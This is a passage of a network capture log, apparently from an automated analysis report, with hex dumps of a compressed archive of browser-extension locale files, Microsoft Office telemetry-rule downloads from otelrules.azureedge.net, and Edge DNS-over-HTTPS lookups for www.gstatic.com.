2024-10-30 10:45:33 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-10-30 10:45:33 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-10-30 10:45:33 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-10-30 10:45:33 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-10-30 10:45:33 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-10-30 10:45:33 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-10-30 10:45:33 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49858	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:33 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:33 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:33 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: d866d412-001e-0028-1c9c-27c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104533Z-17fbfdc98bbtf4jxpev5grnmyw000000081g000000004dw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 10:45:33 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49863	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:33 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:33 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:33 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104533Z-r1755647c66hlhp26bqv22ant40000000800000000005dde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:33 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49864	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:33 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:33 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:33 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104533Z-r1755647c668lcmr2va34xxa5s00000006f0000000006anz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:33 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49865	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:33 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:33 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:33 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104533Z-r1755647c66hlhp26bqv22ant40000000810000000005m04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:33 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49866	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:33 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:33 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:33 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 78a8beb2-e01e-0071-6ad7-2508e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104533Z-17fbfdc98bb8lw78ye6qppf97g00000008dg000000002qaa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:33 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49877	172.64.41.3	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 10:45:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 10:45:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 10:45:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daad10ad9b1e5a9-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 10:45:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 af 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49881	172.64.41.3	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 10:45:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 10:45:34 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 10:45:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8daad10adf8ae5ea-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 10:45:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1e 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49874	172.64.41.3	443	7768	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 10:45:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
